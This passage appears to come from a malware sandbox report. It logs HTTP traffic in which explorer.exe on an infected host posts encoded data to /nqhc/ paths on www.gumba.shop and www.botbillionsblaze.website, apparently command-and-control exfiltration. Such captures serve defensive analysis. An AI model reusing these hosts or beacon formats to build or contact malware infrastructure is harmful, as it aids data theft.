7nWHV=S6tbconk9Vd-b5EojS0M3VCBAvilGtk7rOZLRC30YyQjYhfuaZ6LOX5FSDiAdY8_8eesOOD-n5A4kkQ5tlU67yC0B-AB9VVxe1Ss8wre9M~_J5nJs63M4MMAs6TjR_XjIv3jzHii~GjdLzQqDcs_BmUPowJ-J-uC8GN6yb4eTF9VInK-hGWKwzT_1pgl8ryb(65_AsTknsi2v2mrW_s7yWogpViZge4307A1hrsy1QxqUAsL9ke-(mzaFpr3j0PtdyVJlbg4~OUzWaKC8FpSXHUKAB2YLelAWliDlFljk6v19rvtdQfnMeOiINWjM_8ltcGPOLHzPu0rGf00aGajzFbMour4NjE5AEUh7h(3tbk9oIzxmuyoI044T-wqmNIaETS3MvqLQztQ7gaWmcKLlt9Ec9zzOCNyMLV9KG321KtHutr8ZZm48B5SuqGeyiN0IljXhyjs4iWdDW6GtAJdS9khDFrzbDSW819IjtkfHeunbQrqK7O2R-SASHOZdA~HPJy_p4c.
Dec 5, 2022 15:19:17.331285954 CET	12544	IN	HTTP/1.1 403 Forbidden Date: Mon, 05 Dec 2022 14:19:17 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Server: nginx Vary: Accept-Encoding Content-Encoding: gzip Data Raw: 36 62 0d 0a 1f 8b 08 00 00 00 00 00 04 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 56 70 cb 2f 4a ca 4c 49 49 cd b3 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 b4 24 a7 e6 95 a4 16 d9 d9 64 18 a2 eb 00 8a d8 e8 43 a5 41 66 03 15 41 79 79 e9 99 79 15 c8 72 fa 30 d3 f4 a1 2e 01 00 6d 78 95 8e 92 00 00 00 0d 0a Data Ascii: 6b(HML),I310Vp/JLII&T$dCAfAyyyr0.mx
Dec 5, 2022 15:19:17.331347942 CET	12544	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
74	192.168.11.20	49926	75.2.81.212	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 5, 2022 15:19:19.314075947 CET	12546	OUT	POST /nqhc/ HTTP/1.1 Host: www.gumba.shop Connection: close Content-Length: 51815 Cache-Control: no-cache Origin: http://www.gumba.shop User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.gumba.shop/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 37 6e 57 48 56 3d 53 36 74 62 63 6f 6e 6b 39 56 64 2d 62 35 45 6f 6a 53 30 4d 33 56 43 42 41 76 69 6c 47 74 6b 37 72 4f 5a 4c 52 43 33 30 59 79 59 6a 5a 55 4c 75 62 36 69 4c 66 6e 35 46 4d 54 69 46 64 59 38 59 38 65 33 6b 4f 4f 50 78 6e 5f 4d 34 6b 7a 30 35 74 58 4d 36 7e 79 43 33 66 4f 41 44 32 31 55 74 65 31 4f 34 38 30 48 4f 39 38 61 5f 62 72 76 4a 7e 5a 50 50 67 4d 4d 43 73 36 54 76 56 5f 58 72 49 76 37 4e 7a 48 75 69 7e 45 58 64 4b 43 73 71 42 72 59 5f 5a 47 55 4d 69 51 4a 37 65 75 76 36 38 47 59 4a 79 62 34 4f 54 45 35 56 49 67 65 2d 67 48 57 4c 7e 7a 54 5f 32 70 67 6d 34 72 75 66 28 36 6b 71 41 73 33 6b 6e 72 6d 32 7e 6d 6d 72 48 71 41 38 6b 6d 6f 6d 7e 6c 6a 66 6b 65 38 5f 30 37 46 47 68 70 41 79 32 67 4e 71 56 7a 30 4c 75 56 65 2d 6a 57 7a 59 4a 35 72 6f 32 45 4f 70 64 78 39 7a 6c 62 42 4e 7e 4e 59 7a 58 37 47 43 35 6e 4e 54 52 6e 55 4d 4d 68 32 4a 41 2d 34 50 57 68 47 66 6c 46 6c 7a 6b 34 44 31 36 62 66 74 63 53 6e 6b 50 4f 4f 6c 45 74 58 37 48 66 77 6a 74 63 71 48 4f 4b 50 6a 50 74 59 72 55 76 30 30 52 41 54 31 39 31 62 50 71 75 72 51 41 44 46 5f 41 45 51 4c 37 6c 6e 6e 74 4c 59 39 70 35 44 78 33 75 79 6e 4f 55 34 38 5a 65 77 6f 69 4e 49 61 45 54 66 47 4d 76 6d 4c 51 43 46 51 35 54 79 57 32 61 43 4c 6e 74 39 34 63 39 7a 59 4f 43 52 5f 4d 4c 64 66 4b 47 47 62 31 50 64 48 33 5a 50 38 59 62 4f 37 33 68 35 74 6b 4b 47 33 32 6a 77 79 49 6c 28 6c 68 79 7a 57 34 52 53 64 43 57 71 47 28 77 4a 65 58 64 6b 71 55 31 72 6c 4d 54 65 30 38 78 6b 39 6a 73 67 70 48 65 47 6e 66 47 43 75 50 5f 4b 41 49 4e 44 70 53 42 53 71 64 57 32 32 4b 4e 4f 59 71 65 71 2d 4d 4b 78 44 31 34 42 65 58 43 4d 37 6a 45 49 41 65 59 51 4f 41 7a 41 53 59 49 68 32 44 72 58 4e 64 56 32 73 49 6c 61 75 6b 73 35 37 5a 78 33 63 53 42 4f 5a 41 62 4c 6b 6d 4d 4a 53 39 5f 34 30 78 4a 54 72 75 79 6d 64 71 78 32 48 4f 43 41 55 55 39 39 7a 57 53 31 2d 6d 49 70 52 39 61 58 5a 44 63 59 4e 6a 72 4b 4d 38 58 6a 68 73 55 6c 67 46 71 30 6b 7a 53 4f 46 47 56 4a 5f 68 6a 59 79 44 53 6f 4d 52 68 36 77 64 53 54 4e 59 47 41 65 79 63 6d 56 56 70 45 5f 6f 36 6b 46 6d 6f 38 43 76 5f 38 30 35 5a 33 33 70 39 6d 68 67 67 49 64 42 6c 41 56 65 62 6e 44 42 77 70 6f 41 46 67 56 58 2d 75 74 33 42 57 4a 5a 2d 6f 6e 6a 64 50 35 38 6e 55 52 79 73 54 53 66 4f 4b 56 36 4a 77 68 67 64 63 70 65 49 46 6b 61 37 34 6a 36 2d 57 5a 64 6f 70 71 28 41 43 4f 53 57 5a 6e 6e 51 51 6e 50 66 46 50 6b 4d 28 51 63 4d 4a 64 57 2d 76 56 74 72 68 31 54 61 6c 51 44 38 72 79 49 32 36 37 33 45 54 6f 28 77 64 59 74 69 46 48 41 79 58 4e 31 6d 71 56 78 6c 69 46 74 71 51 55 4f 31 74 54 78 2d 35 4e 35 73 55 6b 42 4f 62 4e 4f 67 46 33 7e 61 57 61 50 6e 65 58 58 6a 72 6d 70 4c 65 68 4f 49 37 4b 71 58 46 44 39 74 71 6e 74 56 28 74 56 77 56 31 Data Ascii: 7nWHV=S6tbconk9Vd-b5EojS0M3VCBAvilGtk7rOZLRC30YyYjZULub6iLfn5FMTiFdY8Y8e3kOOPxn_M4kz05tXM6~yC3fOAD21Ute1O480HO98a_brvJ~ZPPgMMCs6TvV_XrIv7NzHui~EXdKCsqBrY_ZGUMiQJ7euv68GYJyb4OTE5VIge-gHWL~zT_2pgm4ruf(6kqAs3knrm2~mmrHqA8kmom~ljfke8_07FGhpAy2gNqVz0LuVe-jWzYJ5ro2EOpdx9zlbBN~NYzX7GC5nNTRnUMMh2JA-4PWhGflFlzk4D16bftcSnkPOOlEtX7HfwjtcqHOKPjPtYrUv00RAT191bPqurQADF_AEQL7lnntLY9p5Dx3uynOU48ZewoiNIaETfGMvmLQCFQ5TyW2aCLnt94c9zYOCR_MLdfKGGb1PdH3ZP8YbO73h5tkKG32jwyIl(lhyzW4RSdCWqG(wJeXdkqU1rlMTe08xk9jsgpHeGnfGCuP_KAINDpSBSqdW22KNOYqeq-MKxD14BeXCM7jEIAeYQOAzASYIh2DrXNdV2sIlauks57Zx3cSBOZAbLkmMJS9_40xJTruymdqx2HOCAUU99zWS1-mIpR9aXZDcYNjrKM8XjhsUlgFq0kzSOFGVJ_hjYyDSoMRh6wdSTNYGAeycmVVpE_o6kFmo8Cv_805Z33p9mhggIdBlAVebnDBwpoAFgVX-ut3BWJZ-onjdP58nURysTSfOKV6JwhgdcpeIFka74j6-WZdopq(ACOSWZnnQQnPfFPkM(QcMJdW-vVtrh1TalQD8ryI2673ETo(wdYtiFHAyXN1mqVxliFtqQUO1tTx-5N5sUkBObNOgF3~aWaPneXXjrmpLehOI7KqXFD9tqntV(tVwV1
Dec 5, 2022 15:19:19.314146996 CET	12556	OUT	Data Raw: 6e 72 28 5a 7e 6e 39 33 73 73 37 45 37 35 6f 56 4b 56 79 59 71 38 30 52 53 52 66 63 67 73 66 44 33 4d 31 44 78 44 34 4a 70 6b 38 37 46 48 52 2d 53 4e 76 2d 37 34 32 41 48 47 4c 62 45 44 34 74 46 4a 4f 47 4a 5a 38 68 48 31 4d 4b 58 52 76 69 30 52 Data Ascii: nr(Z~n93ss7E75oVKVyYq80RSRfcgsfD3M1DxD4Jpk87FHR-SNv-742AHGLbED4tFJOGJZ8hH1MKXRvi0RW1FHTNqASM(pXgQ6CREuJky8ta0oprqaF_ZDAbzY0mZtw_9ZZEMQRhQqjS7Pgd8eXVKwxhnMyMKuEbOxYt3unDrSXmUtfAxcJ2eTh22mSoLcC91eWGYct7rd5amcSke9AtVe19fDm314MCKfm_HTgeRkGROCgkYWc
Dec 5, 2022 15:19:19.314193010 CET	12558	OUT	Data Raw: 55 45 5a 46 47 4e 37 79 74 6b 71 6d 43 35 79 6c 63 37 28 58 56 59 79 6b 77 37 4e 44 59 6a 67 65 6a 64 62 6b 47 45 36 70 6c 78 6b 55 38 55 30 75 65 32 46 42 52 31 5a 79 74 45 77 53 6d 7a 51 69 75 45 46 36 32 5a 57 55 56 4c 53 58 70 5a 4a 70 58 47 Data Ascii: UEZFGN7ytkqmC5ylc7(XVYykw7NDYjgejdbkGE6plxkU8U0ue2FBR1ZytEwSmzQiuEF62ZWUVLSXpZJpXGpxFgS-xVmba2meeAuUmwPZAyYdzu4rDbP-gmM6pzXbSe68azgNmc8-KRSZQ0Onqdb1hJqAgt(heDowxbB4Bdypq0UtcjjtsGhoC25BqoyMdqtNU7ClopMW1pvw4OHxtWJRzAM_25IhgrMIsHqjcQDg62JCwLirGSa
Dec 5, 2022 15:19:19.325036049 CET	12560	OUT	Data Raw: 59 64 79 4c 7e 38 48 77 66 47 79 63 6b 57 6a 35 7a 57 75 72 34 62 6e 6c 47 45 47 78 64 4f 35 43 78 6f 72 62 5a 63 34 4d 61 6a 50 54 6b 54 38 42 65 33 78 68 41 35 64 79 72 79 77 54 28 4c 5a 36 6e 59 48 34 36 61 59 49 70 45 7a 4a 6f 4b 6d 65 78 79 Data Ascii: YdyL~8HwfGyckWj5zWur4bnlGEGxdO5CxorbZc4MajPTkT8Be3xhA5dyrywT(LZ6nYH46aYIpEzJoKmexy7NWUJKoCeAWaf8BpR4WsZ-iUxYtbufmwoq0WA2IuRyfjtgYrzJmIKZBTYlv0C7cLINUWWYPKOhcqLOMcSRJ2scrBrsoVIkbPNR93k3WuoZF4HAWFfvzy6XfB~b99uwByn_w-PZgbzxi03eOF2h1H3eYgC7z8Uk2Ek
Dec 5, 2022 15:19:19.325089931 CET	12566	OUT	Data Raw: 6c 77 79 63 77 77 49 31 66 50 32 56 30 53 4d 56 45 52 28 45 72 34 64 55 70 79 45 4c 6b 49 6b 32 54 4a 63 55 48 69 4a 41 70 75 55 50 7a 76 76 77 4b 31 53 4d 6c 49 7e 4a 6c 46 52 78 48 31 35 59 4a 52 7e 41 48 64 56 33 74 6a 47 66 52 63 54 35 49 55 Data Ascii: lwycwwI1fP2V0SMVER(Er4dUpyELkIk2TJcUHiJApuUPzvvwK1SMlI~JlFRxH15YJR~AHdV3tjGfRcT5IU39ORLa8L0Jwk~Nncrv5oQpChc7eeYbeyfOo8JGv_Cazo9ML4PQK5XJFGN3JY(sc16kx5AxF6C0JDSIctjba2gsrTRhqWo6ya7fot7NAISEg3~iJbcxiTPMATod9etoCqn1TNrRwfs85bPbo4vV77viVSx28MsNcNp
Dec 5, 2022 15:19:19.325345039 CET	12571	OUT	Data Raw: 68 47 65 39 6b 55 78 31 32 68 74 75 42 77 28 55 74 7a 51 64 37 72 69 6f 6e 54 6e 56 73 49 70 2d 73 37 73 57 44 33 63 54 31 33 67 6e 72 77 73 4b 31 69 35 59 41 4e 54 68 33 42 73 4c 71 35 43 73 4b 75 6d 44 61 62 4d 62 7e 34 4d 61 79 72 32 34 62 35 Data Ascii: hGe9kUx12htuBw(UtzQd7rionTnVsIp-s7sWD3cT13gnrwsK1i5YANTh3BsLq5CsKumDabMb~4Mayr24b586nMArubP7zcIvY2zyPLOqz3FB(9HN9UddiG~HtDNrVeIt62fwwifTQkWE4b5GqNc4BfihuBpCb04lb-L6oTkffc(iAlRJk206NvSEkGRzhvvyTC(orfKpsYk2Ks(-~AduZ1MZcRQOSLtL8aaW~m1a5pJdOMLi3zP
Dec 5, 2022 15:19:19.325524092 CET	12583	OUT	Data Raw: 50 5f 54 6e 57 31 41 42 33 4f 6d 6d 39 77 71 70 38 33 70 50 59 2d 38 55 6a 44 6c 45 44 45 35 5f 72 70 77 47 69 35 57 56 38 78 7a 38 76 6c 46 35 56 41 61 58 6a 35 6b 4a 68 77 35 2d 44 68 79 4f 37 51 67 63 79 42 4e 53 34 6f 6e 51 43 68 49 59 45 54 Data Ascii: P_TnW1AB3Omm9wqp83pPY-8UjDlEDE5_rpwGi5WV8xz8vlF5VAaXj5kJhw5-DhyO7QgcyBNS4onQChIYETRojsLgBKnPgqeYA3WA1IPJGKTxNhR-r1xxKJN-Znq87QrgQDp1cUf4E97NLr3qhTUF1OzfLudBDF6o0aS9tNhZ(92I08dLi25vV_RFlm90hePQLeaICNFbLZjiQLrdwoWmwemB5-IAhD4Bbfu8GWGpaTRK2nLrKwJ
Dec 5, 2022 15:19:19.335951090 CET	12585	OUT	Data Raw: 36 6f 63 77 37 65 79 68 53 6b 31 6d 71 70 7a 6b 78 6c 77 7a 79 5f 61 52 32 33 5a 65 47 33 49 31 65 75 45 76 52 6e 45 76 6b 6e 62 64 4b 59 46 44 62 57 35 55 6d 32 62 35 46 62 43 67 79 63 6e 61 54 52 5a 74 74 4a 79 47 49 48 74 78 45 74 45 4d 4c 66 Data Ascii: 6ocw7eyhSk1mqpzkxlwzy_aR23ZeG3I1euEvRnEvknbdKYFDbW5Um2b5FbCgycnaTRZttJyGIHtxEtEMLf6xEOtz(MmrrnC1o34zWIK_u4lm71wr8SLtsjhiyL~y(d8RHeZnvLF2LjDaJIRWVOK8rldgeDYY3cyry_zstJiIJfDS4D5YprFOGKD0ZfqRE51eeyMmNit46dWr55Qq2RMf3SvD6yEqsWIPMfI7p8ZAA9XcFAXqWZ8
Dec 5, 2022 15:19:19.335999966 CET	12589	OUT	Data Raw: 65 66 52 30 61 67 57 6a 52 4c 6c 57 53 65 66 32 51 72 28 6b 67 6c 48 6b 65 5a 42 79 6f 72 58 6a 36 48 4e 45 43 70 73 78 65 41 75 7a 49 43 69 49 34 4d 52 74 74 71 6a 42 78 6d 49 70 50 4c 68 45 77 73 54 30 76 50 64 68 31 43 6c 5a 38 32 6f 2d 33 6b Data Ascii: efR0agWjRLlWSef2Qr(kglHkeZByorXj6HNECpsxeAuzICiI4MRttqjBxmIpPLhEwsT0vPdh1ClZ82o-3kd80ImsyU38q5u4EcmT3yJQA4Okv3OcflVhVAz3NLikq2Sl4VEhDmTmfu0Tg39ud5h58y73~AXneLwwAQbwKAMNgMZO21ancTm5Dnylj4zfSjcpRaxXiCXYEQ4sKkWOED4Ybl2g2xz7qUzo524JmPRZFD7LjkNhTZN
Dec 5, 2022 15:19:19.336091995 CET	12590	OUT	Data Raw: 73 39 67 61 62 32 47 36 39 55 6c 64 39 78 7e 6c 35 64 57 49 67 76 71 6a 4d 79 66 4d 35 4a 71 79 63 54 55 77 6a 71 6b 53 68 41 4c 30 6e 66 6b 55 39 6b 4e 38 70 54 32 42 5a 39 37 56 4e 69 54 59 34 42 66 57 69 75 53 45 49 57 38 37 68 51 44 79 42 71 Data Ascii: s9gab2G69Uld9x~l5dWIgvqjMyfM5JqycTUwjqkShAL0nfkU9kN8pT2BZ97VNiTY4BfWiuSEIW87hQDyBqHoRlPy41p6XOq2OL1xN7avnPAYROXCN0uhIw8Kgk0VS4A8wTj9lEC5rSKhGxPYHZENHeNB~viRyjedxUIMsqMAWHeZyl8rt3gBCyi1FTA67TopxdDJV9t73ytrHbxg(ttwTnvkIcKnR9S-0sshIytv5vvxTlWc0bZ
Dec 5, 2022 15:19:19.336241007 CET	12594	OUT	Data Raw: 54 6a 54 34 66 6c 50 58 34 48 76 38 61 34 6c 2d 52 47 37 4a 77 70 4f 78 72 34 42 42 74 6a 69 70 44 7a 71 34 54 41 6a 48 32 42 45 6e 68 38 68 45 4f 33 36 55 48 63 54 4f 57 4a 77 51 6a 36 71 79 30 73 7a 4a 61 62 33 35 76 66 32 6c 74 4e 42 44 44 65 Data Ascii: TjT4flPX4Hv8a4l-RG7JwpOxr4BBtjipDzq4TAjH2BEnh8hEO36UHcTOWJwQj6qy0szJab35vf2ltNBDDe7B2K7c(o4Q7JaK3xdA3nc954~Lvqf0j4WuBOGi46CVsjGMfLs06xrtC19sY5Y18d4omHsYNEv1uA7FhI4jLcG1Lh9PubYHNS0qIxmuZXlFmvubkHto0-92kX7ekMKipGOivem9oYeXWMuMkU1CCYhzHXNfXn4IRyx
Dec 5, 2022 15:19:19.366355896 CET	12599	IN	HTTP/1.1 403 Forbidden Date: Mon, 05 Dec 2022 14:19:19 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Server: nginx Vary: Accept-Encoding Content-Encoding: gzip Data Raw: 36 62 0d 0a 1f 8b 08 00 00 00 00 00 04 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 56 70 cb 2f 4a ca 4c 49 49 cd b3 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 b4 24 a7 e6 95 a4 16 d9 d9 64 18 a2 eb 00 8a d8 e8 43 a5 41 66 03 15 41 79 79 e9 99 79 15 c8 72 fa 30 d3 f4 a1 2e 01 00 6d 78 95 8e 92 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6b(HML),I310Vp/JLII&T$dCAfAyyyr0.mx0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
75	192.168.11.20	49928	75.2.81.212	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 5, 2022 15:19:21.343063116 CET	12606	OUT	GET /nqhc/?7nWHV=f4F7ffrY91VPAaIYxk1J2He+DN38Gtglpvx7SxOWIh8xSFztRImtD0B4ZlSdLvIOg82xMJ3Gh/Bbh1FonXE4rjX3AOld5zRxFA==&t0D=yFNHS0IX HTTP/1.1 Host: www.gumba.shop Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Dec 5, 2022 15:19:21.481894970 CET	12607	IN	HTTP/1.1 403 Forbidden Date: Mon, 05 Dec 2022 14:19:21 GMT Content-Type: text/html Content-Length: 146 Connection: close Server: nginx Vary: Accept-Encoding Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
76	192.168.11.20	49931	2.57.90.16	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 5, 2022 15:19:26.513351917 CET	12633	OUT	POST /nqhc/ HTTP/1.1 Host: www.botbillionsblaze.website Connection: close Content-Length: 187 Cache-Control: no-cache Origin: http://www.botbillionsblaze.website User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.botbillionsblaze.website/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 37 6e 57 48 56 3d 45 71 56 72 78 4d 52 48 4c 42 43 77 74 49 62 4a 66 41 68 52 71 43 52 4d 49 47 52 69 76 5a 75 50 35 61 70 4c 47 30 7e 49 48 47 4b 36 61 36 42 64 71 72 46 39 31 53 53 38 65 43 45 79 73 31 59 37 52 49 59 35 7e 43 68 30 54 62 64 6e 6b 6b 6b 59 32 70 72 56 61 76 30 6a 70 63 47 44 64 53 51 53 43 6b 32 56 43 43 61 52 65 39 5a 68 54 50 4b 4e 42 78 34 51 6e 78 6d 75 36 6a 62 30 79 6a 6b 49 61 47 4d 44 65 34 6b 39 61 47 50 67 59 55 4f 4b 68 79 4e 54 70 53 52 54 33 46 4b 6c 39 69 34 52 70 58 62 33 68 38 4b 52 5a 55 52 48 67 62 52 4e 56 77 29 2e 00 00 00 00 00 00 00 00 Data Ascii: 7nWHV=EqVrxMRHLBCwtIbJfAhRqCRMIGRivZuP5apLG0~IHGK6a6BdqrF91SS8eCEys1Y7RIY5~Ch0TbdnkkkY2prVav0jpcGDdSQSCk2VCCaRe9ZhTPKNBx4Qnxmu6jb0yjkIaGMDe4k9aGPgYUOKhyNTpSRT3FKl9i4RpXb3h8KRZURHgbRNVw).
Dec 5, 2022 15:19:26.537566900 CET	12633	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 05 Dec 2022 14:19:26 GMT Content-Type: text/html Content-Length: 146 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
77	192.168.11.20	49932	2.57.90.16	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 5, 2022 15:19:28.558056116 CET	12634	OUT	POST /nqhc/ HTTP/1.1 Host: www.botbillionsblaze.website Connection: close Content-Length: 527 Cache-Control: no-cache Origin: http://www.botbillionsblaze.website User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.botbillionsblaze.website/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 37 6e 57 48 56 3d 45 71 56 72 78 4d 52 48 4c 42 43 77 69 49 72 4a 61 6a 5a 52 28 53 52 50 57 57 52 69 32 70 75 78 35 61 56 4c 47 31 71 59 48 77 61 36 64 65 4a 64 34 75 6c 39 79 53 53 38 57 69 45 33 6a 56 59 79 52 49 63 48 7e 48 5a 30 54 62 4a 6e 6c 56 45 59 33 5a 72 61 52 50 30 73 68 38 47 34 4d 43 51 4d 43 6b 4b 33 43 44 4f 52 65 4e 46 68 43 35 57 4e 51 31 56 47 71 78 6d 67 38 6a 62 37 70 7a 6b 4f 61 47 78 30 65 36 6b 4c 5a 77 48 67 59 31 75 4b 67 79 4e 53 77 79 52 49 72 31 4c 56 7e 68 6c 37 69 6c 66 55 37 38 53 2d 64 45 63 4b 30 4a 4e 4a 4b 61 46 48 68 62 7e 66 57 66 50 56 41 59 63 76 32 4d 33 79 72 2d 6e 59 32 62 59 65 6e 39 68 35 41 4f 63 57 56 77 7a 50 46 4b 65 33 6a 6f 48 7a 46 68 6d 53 46 36 31 4d 64 71 38 32 71 62 38 33 28 33 71 6a 32 53 46 2d 32 46 37 79 43 6f 79 50 74 4c 78 76 35 55 63 79 4f 43 4a 73 65 49 35 73 47 47 7e 79 6b 67 6b 49 52 4e 77 59 66 52 54 73 76 36 39 72 4b 66 39 4a 6d 51 63 64 31 67 59 62 31 47 66 71 44 45 56 6f 32 4a 49 6f 6f 32 67 54 32 54 47 5a 28 7a 44 4f 6d 41 5a 4e 58 7a 73 47 4a 69 76 62 37 2d 47 35 69 31 55 62 50 46 53 52 46 52 32 65 41 32 67 72 51 6c 4d 67 44 56 51 79 35 50 4e 32 41 49 31 59 63 57 38 74 6c 4d 34 30 43 71 33 6c 46 73 50 6c 50 66 45 45 52 63 70 32 55 4b 74 46 71 6a 53 43 4e 51 50 65 35 35 56 43 4e 79 73 47 65 6d 46 4b 30 37 54 33 6f 6c 36 4f 7a 66 4d 70 66 75 5a 5a 71 5f 45 36 6a 31 50 45 75 62 72 76 35 33 43 59 31 71 4e 47 6a 6c 54 6d 42 42 76 65 78 39 73 4b 73 73 4e 4a 6f 45 28 6a 46 67 63 72 75 2d 38 68 4c 61 72 6c 58 7a 71 30 77 5f 50 4e 53 46 6d 4f 68 49 55 42 5a 4e 42 5a 49 2d 46 79 35 5f 45 2e 00 00 00 00 00 00 00 00 Data Ascii: 7nWHV=EqVrxMRHLBCwiIrJajZR(SRPWWRi2pux5aVLG1qYHwa6deJd4ul9ySS8WiE3jVYyRIcH~HZ0TbJnlVEY3ZraRP0sh8G4MCQMCkK3CDOReNFhC5WNQ1VGqxmg8jb7pzkOaGx0e6kLZwHgY1uKgyNSwyRIr1LV~hl7ilfU78S-dEcK0JNJKaFHhb~fWfPVAYcv2M3yr-nY2bYen9h5AOcWVwzPFKe3joHzFhmSF61Mdq82qb83(3qj2SF-2F7yCoyPtLxv5UcyOCJseI5sGG~ykgkIRNwYfRTsv69rKf9JmQcd1gYb1GfqDEVo2JIoo2gT2TGZ(zDOmAZNXzsGJivb7-G5i1UbPFSRFR2eA2grQlMgDVQy5PN2AI1YcW8tlM40Cq3lFsPlPfEERcp2UKtFqjSCNQPe55VCNysGemFK07T3ol6OzfMpfuZZq_E6j1PEubrv53CY1qNGjlTmBBvex9sKssNJoE(jFgcru-8hLarlXzq0w_PNSFmOhIUBZNBZI-Fy5_E.
Dec 5, 2022 15:19:28.581801891 CET	12635	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 05 Dec 2022 14:19:28 GMT Content-Type: text/html Content-Length: 146 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
78	192.168.11.20	49933	2.57.90.16	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 5, 2022 15:19:30.609400034 CET	12642	OUT	POST /nqhc/ HTTP/1.1 Host: www.botbillionsblaze.website Connection: close Content-Length: 51815 Cache-Control: no-cache Origin: http://www.botbillionsblaze.website User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.botbillionsblaze.website/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 37 6e 57 48 56 3d 45 71 56 72 78 4d 52 48 4c 42 43 77 69 49 72 4a 61 6a 5a 52 28 53 52 50 57 57 52 69 32 70 75 78 35 61 56 4c 47 31 71 59 48 77 53 36 64 70 4a 64 71 50 6c 39 7a 53 53 38 56 69 45 32 6a 56 5a 67 52 49 6b 39 7e 48 46 65 54 5a 78 6e 6c 45 55 59 30 76 28 61 55 50 30 74 69 38 47 41 64 53 51 59 43 6b 32 72 43 44 61 65 65 39 42 68 54 4f 36 4e 42 55 55 51 79 78 6d 75 38 6a 62 6e 28 44 6c 74 61 47 31 6b 65 36 34 4c 5a 79 7a 67 61 48 6d 4b 73 46 68 53 71 53 52 58 67 56 4c 61 30 42 6c 65 69 68 28 71 37 38 53 49 64 46 6f 4b 30 4c 56 4a 4c 5a 64 45 68 37 7e 66 49 76 50 53 45 59 52 6b 32 4d 62 55 72 2d 37 59 32 5a 6f 65 6c 64 68 35 56 66 63 52 57 51 79 45 42 4b 65 6b 6e 6f 44 37 46 68 61 47 46 34 35 4d 64 36 6f 32 77 4b 38 33 38 